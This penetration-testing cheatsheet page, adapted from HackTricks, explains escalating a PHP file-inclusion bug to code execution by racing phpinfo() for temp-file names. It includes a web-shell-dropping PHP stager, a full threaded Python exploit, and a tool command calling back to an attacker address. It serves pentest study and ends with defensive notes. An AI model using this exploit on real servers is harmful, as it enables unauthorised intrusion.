daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

lfi2rce-via-phpinfo.md (16955B)


      1 ---
      2 title: "LFI to RCE via PHPInfo"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # LFI to RCE via PHPInfo
     14 
     15 To exploit this technique, you need all of the following:
     16 
     17 - A reachable page that prints phpinfo() output.
     18 - A Local File Inclusion (LFI) primitive you control (e.g., include/require on user input).
     19 - PHP file uploads enabled (`file_uploads = On`). When the web server routes a valid multipart POST to PHP, PHP's RFC 1867 processing creates a temporary file for each accepted upload part before the script runs.<sup>[[2]](#references)</sup>
     20 - The PHP worker must be able to write to the configured upload_tmp_dir (or default system temp directory) and your LFI must be able to include that path.
     21 
     22 Classic write-up and original PoC:
     23 - Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
     24 - Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)<sup>[[1]](#references)</sup>
     25 
     26 Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s<sup>[[9]](#references)</sup>
     27 
     28 Notes about the original PoC
     29 - The phpinfo() output is HTML-encoded, so the "=>" arrow often appears as "=&gt;". If you reuse legacy scripts, ensure they search for both encodings when parsing the _FILES[tmp_name] value.
     30 - You must adapt the payload (your PHP code), REQ1 (the request to the phpinfo() endpoint including padding), and LFIREQ (the request to your LFI sink). Some targets don’t need a null-byte (%00) terminator and modern PHP versions won’t honor it. Adjust the LFIREQ accordingly to the vulnerable sink.
     31 - Prefer incremental parsing/regex over hard-coded offset math. Modern Python 3 wrappers usually stop as soon as `tmp_name` is complete, which is more robust than assuming a fixed offset or a fixed temp-path length.
     32 
     33 Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:
     34 ```text
     35 sed -i 's/\[tmp_name\] =>/\[tmp_name\] =&gt;/g' phpinfolfi.py
     36 ```
     37 
     38 [Lfi With Phpinfo Assistance.Pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/LFI-With-PHPInfo-Assistance.pdf)
     39 
     40 ## Theory
     41 
     42 - When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES['<field>']['tmp_name']. The file is automatically removed at the end of the request unless moved/renamed.<sup>[[2]](#references)</sup>
     43 - The trick is to learn the temporary name and include it via your LFI before PHP cleans it up. phpinfo() prints $_FILES, including tmp_name.
     44 - By inflating request headers/parameters (padding) you can cause early chunks of phpinfo() output to be flushed to the client before the request finishes, so you can read tmp_name while the temp file still exists and then immediately hit the LFI with that path.
     45 
     46 In Windows the temp files are commonly under something like C:\\Windows\\Temp\\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
     47 
     48 ## What to verify in `phpinfo()` before racing
     49 
     50 Before sending thousands of requests, extract the values that decide whether the race is realistic:
     51 
     52 - `file_uploads`: must be `On`.
     53 - `upload_tmp_dir`: if set, this is the directory your LFI must be able to include. If empty, expect the system default temp directory.
     54 - `upload_max_filesize` and `post_max_size`: the file part plus the full multipart body (payload + MIME boundaries + extra POST fields) must stay below these limits. If the file part exceeds `upload_max_filesize`, expect upload errors or an empty `tmp_name`; if `post_max_size` is exceeded, PHP leaves `$_POST` and `$_FILES` empty, so there is nothing to leak.
     55 - `max_file_uploads`: classic PoCs usually send one real payload file, but some variants add many junk file parts to bloat the response. If you exceed this limit, PHP silently drops later file parts and the upload you expect to race on may never appear in `$_FILES`.
     56 - `max_input_time`: very low values can kill slow or heavily padded uploads before you win the race.
     57 - `enable_post_data_reading`: if `Off`, PHP won’t populate `$_POST`/`$_FILES`, so phpinfo() can be reachable while `tmp_name` never appears.<sup>[[4]](#references)</sup>
     58 - `open_basedir`: if enabled, your vulnerable include path still needs to be able to reach the temp directory shown in `tmp_name`.
     59 - `output_buffering`: `4096` is a common/default size and is why many PoCs read in 4KB chunks, but this value can differ.
     60 - `zlib.output_compression`, `output_handler`, and any framework-level buffering: these reduce the chance of seeing `tmp_name` early enough.
     61 - `Server API`: useful to decide how much buffering may exist between PHP and you (`apache2handler` is usually easier to reason about than `fpm-fcgi` behind a reverse proxy).
     62 
     63 If the page does not show `$_FILES`, make sure you are really sending a `multipart/form-data` request with an actual file part. PHP only populates `tmp_name` for upload fields that were parsed. Also verify the script is not calling `phpinfo()` with flags that omit `INFO_VARIABLES` (for example `phpinfo(INFO_MODULES)`), because that exposes phpinfo without dumping EGPCS/`$_FILES`.<sup>[[3]](#references)</sup>
     64 
     65 ## Parsing edge cases in modern PHP
     66 
     67 - PHP 8.1+ may also show `$_FILES['<field>']['full_path']`. That value is submitted by the browser and may describe a client-side path or directory upload; it is not the server temp file you must include. For this technique, always extract `tmp_name`.
     68 - If the upload field name is an array (`f[]`) or the browser submits multiple/directory uploads, `tmp_name` can itself be an array. Old regexes that only expect `[tmp_name] => /tmp/phpXXXX` will miss cases like `[tmp_name] => Array ( [0] => /tmp/phpXXXX )`. Either force a single upload field or adapt the parser to grab the first populated array element.
     69 - PHP 8.4 adds `request_parse_body()`, which can populate `$_POST`/`$_FILES` for `multipart/form-data` requests on verbs such as `PUT` or `PATCH`. The classic phpinfo() race is still usually a `POST`, but if a debug/helper endpoint explicitly calls `request_parse_body()` before `phpinfo()`, the same leak can exist on non-POST routes as well.<sup>[[6]](#references)</sup>
     70 
     71 ## Attack workflow (step by step)
     72 
     73 1) Prepare a tiny PHP payload that persists a shell quickly to avoid losing the race (writing a file is generally faster than waiting for a reverse shell):
     74 ```text
     75 <?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
     76 ```
     77 
     78 2) Send a large multipart POST directly to the phpinfo() page so it creates a temp file that contains your payload. Inflate various headers/cookies/params with ~5–10KB of padding to encourage early output. Make sure the form field name matches what you’ll parse in $_FILES.
     79 
     80 3) While the phpinfo() response is still streaming, parse the partial body to extract $_FILES['<field>']['tmp_name'] (HTML-encoded). As soon as you have the full absolute path (e.g., /tmp/php3Fz9aB), fire your LFI to include that path. If the include() executes the temp file before it is deleted, your payload runs and drops /tmp/.p.php.
     81 
     82 4) Use the dropped file: GET /vuln.php?include=/tmp/.p.php&x=id (or wherever your LFI lets you include it) to execute commands reliably.
     83 
     84 > Tips
     85 > - Use multiple concurrent workers to increase your chances of winning the race.
     86 > - Padding placement that commonly helps: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Tune per target.
     87 > - The temporary file does not need a `.php` extension because `include()` parses the included file as PHP. However, if the vulnerable sink **appends** `.php`, the exact temporary path no longer exists; you need a separate suffix-bypass primitive. Modern PHP does not accept `%00` as a generic path terminator.
     88 
     89 ## Minimal Python 3 PoC (socket-based)
     90 
     91 The snippet below focuses on the critical parts and is easier to adapt than the legacy Python2 script. Customize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
     92 
     93 ```python
     94 #!/usr/bin/env python3
     95 import html
     96 import re
     97 import socket
     98 import threading
     99 from urllib.parse import quote
    100 
    101 HOST = 'target.local'
    102 PORT = 80
    103 PHPSCRIPT = '/phpinfo.php'
    104 LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
    105 THREADS = 10
    106 
    107 PAYLOAD = (
    108     "<?php echo 'HT_RACE_OK'; "
    109     "file_put_contents('/tmp/.p.php', '<?php system($_GET[\"x\"]); ?>'); ?>\r\n"
    110 )
    111 BOUND = '---------------------------7dbff1ded0714'
    112 PADDING = 'A' * 6000
    113 REQ1_DATA = (f"--{BOUND}\r\n"
    114              f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
    115              f"Content-Type: text/plain\r\n\r\n{PAYLOAD}\r\n--{BOUND}--\r\n")
    116 
    117 REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
    118         f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
    119         f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
    120         f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
    121         f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
    122 
    123 pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
    124 
    125 
    126 def race_once():
    127     s1 = socket.socket()
    128     s2 = socket.socket()
    129     s1.settimeout(5)
    130     s2.settimeout(5)
    131     try:
    132         s1.connect((HOST, PORT))
    133         s2.connect((HOST, PORT))
    134         s1.sendall(REQ1.encode())
    135         buf = b''
    136         tmp = None
    137         while len(buf) < 2_000_000:
    138             chunk = s1.recv(4096)
    139             if not chunk:
    140                 break
    141             buf += chunk
    142             decoded = html.unescape(buf.decode(errors='ignore'))
    143             m = pat.search(decoded)
    144             if m:
    145                 tmp = m.group(1)
    146                 break
    147         if not tmp:
    148             return False
    149 
    150         lfi_path = LFIPATH % quote(tmp, safe='/')
    151         req = (f"GET {lfi_path} HTTP/1.1\r\nHost: {HOST}\r\n"
    152                "Connection: close\r\n\r\n")
    153         s2.sendall(req.encode())
    154         response = b''
    155         while b'HT_RACE_OK' not in response and len(response) < 1_000_000:
    156             chunk = s2.recv(4096)
    157             if not chunk:
    158                 break
    159             response += chunk
    160         return b'HT_RACE_OK' in response
    161     except (OSError, socket.timeout):
    162         return False
    163     finally:
    164         s1.close()
    165         s2.close()
    166 
    167 if __name__ == '__main__':
    168     hit = threading.Event()
    169 
    170     def worker():
    171         while not hit.is_set():
    172             if not race_once():
    173                 continue
    174             print('[+] Won the race, payload dropped as /tmp/.p.php')
    175             hit.set()
    176             return
    177 
    178     ts = [threading.Thread(target=worker) for _ in range(THREADS)]
    179     [t.start() for t in ts]
    180     [t.join() for t in ts]
    181 ```
    182 
    183 ## Useful public tooling
    184 
    185 If you want a ready-made wrapper instead of adapting the minimal PoC, a modern option is `lfito_rce`, which exposes knobs that are commonly needed in real targets (`--phpinfo`, `--threads`, `--end` for suffixes such as `%00`, and multiple payload styles). Treat these wrappers as starting points: check the regex against the raw phpinfo() response and update it if the target prints HTML-encoded arrows, array-style `tmp_name` values, or extra buffering/compression artifacts.<sup>[[8]](#references)</sup>
    186 
    187 ```bash
    188 python lfito_rce.py -l 'http://target/lfi.php?file=' -i 'http://target/phpinfo.php' --lhost 10.10.14.2 --lport 4444 -t 16 -e ''
    189 ```
    190 
    191 ## Troubleshooting
    192 - You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present and the page includes `INFO_VARIABLES`. If the script uses limited flags (for example `phpinfo(INFO_MODULES)`) or `enable_post_data_reading` is `Off`, `tmp_name` won’t appear.
    193 - `$_FILES` turns empty as soon as you add more body padding: You likely exceeded `post_max_size`. Remember that the multipart body size includes boundaries and extra POST fields, not only the raw payload.
    194 - The request parses but there is no usable temp file: Check `upload_max_filesize` and the upload error fields; an oversized file part can be rejected even if the overall body stayed below `post_max_size`.
    195 - `tmp_name` appears only at the very end of the response: This is usually a buffering problem, not a PHP-version problem. Large `output_buffering` values, `zlib.output_compression`, userland output handlers, or reverse-proxy/FastCGI buffering can delay the phpinfo() body until the upload request is almost done.
    196 - You only get reliable streaming in a lab, not through the real site: A CDN, WAF, or reverse proxy may be buffering the upstream response. If you have multiple routes to the same app, prefer the most direct origin path.
    197 - The classic 4096-byte offset logic misses the leak: Treat 4096 as a starting point derived from common `output_buffering` defaults, not as a universal constant. Parse incrementally and stop as soon as `tmp_name` is complete.
    198 - Your parser lands on `full_path` or `[tmp_name] => Array`: Ignore `full_path` (client-supplied metadata) and adapt the parser to extract the first real `tmp_name` value.
    199 - The temp file is included but your shell dies immediately: Use a tiny stager that writes a second file, because the uploaded temp file will still be deleted when the original request ends.
    200 - Output doesn’t flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers won’t flush until larger thresholds; adjust accordingly.
    201 - LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector.
    202 - Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.
    203 
    204 ## Practical notes for modern stacks
    205 
    206 - This technique is still reproducible in modern lab environments; for example, Vulhub keeps a demonstrator on PHP 7.2. In practice, success tends to depend more on output buffering and proxying than on a phpinfo-specific patch level.<sup>[[7]](#references)</sup>
    207 - `flush()` and `implicit_flush` only influence PHP's own output layer. They do not guarantee that a FastCGI gateway, reverse proxy, browser, or intermediary will release partial chunks immediately.<sup>[[5]](#references)</sup>
    208 - Recent Python 3 wrappers are useful mostly because they parameterize temp directories/request endings and use incremental regex parsing instead of fixed offsets; the exploitation primitive is still the same phpinfo() race.
    209 - If the target is `fpm-fcgi` behind Nginx/Apache proxying, think in layers: PHP buffer, PHP output handlers/compression, FastCGI buffering, then proxy buffering. The race only works if enough of the phpinfo() response escapes that chain before request shutdown deletes the temp file.
    210 
    211 ## Defensive notes
    212 - Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
    213 - Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
    214 - Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist.
    215 
    216 ## Related HackTricks techniques
    217 
    218 [Lfi2Rce Via Temp File Uploads](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads)
    219 
    220 [Via Php Session Upload Progress](/hacktricks/pentesting-web/file-inclusion/via-php-session-upload-progress)
    221 
    222 [Lfi2Rce Via Nginx Temp Files](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files)
    223 
    224 [Lfi2Rce Via Eternal Waiting](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting)
    225 
    226 
    227 ## References
    228 
    229 - [1] [LFI With PHPInfo() Assistance whitepaper (B. Moore, 2011) – Packet Storm mirror](https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf)
    230 - [2] [PHP Manual – POST method uploads](https://www.php.net/manual/en/features.file-upload.post-method.php)
    231 - [3] [PHP Manual – `phpinfo()` / `INFO_VARIABLES`](https://www.php.net/manual/en/function.phpinfo.php)
    232 - [4] [PHP Manual – core `php.ini` directives (`post_max_size`, `enable_post_data_reading`)](https://www.php.net/manual/en/ini.core.php)
    233 - [5] [PHP Manual – Flushing System Buffers](https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php)
    234 - [6] [PHP Manual – `request_parse_body()`](https://www.php.net/manual/en/function.request-parse-body.php)
    235 - [7] [Vulhub – PHP Local File Inclusion RCE with PHPINFO](https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md)
    236 - [8] [roughiz – `lfito_rce`](https://github.com/roughiz/lfito_rce)
    237 - [9] [HTB phpinfo() LFI race condition tutorial (YouTube)](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)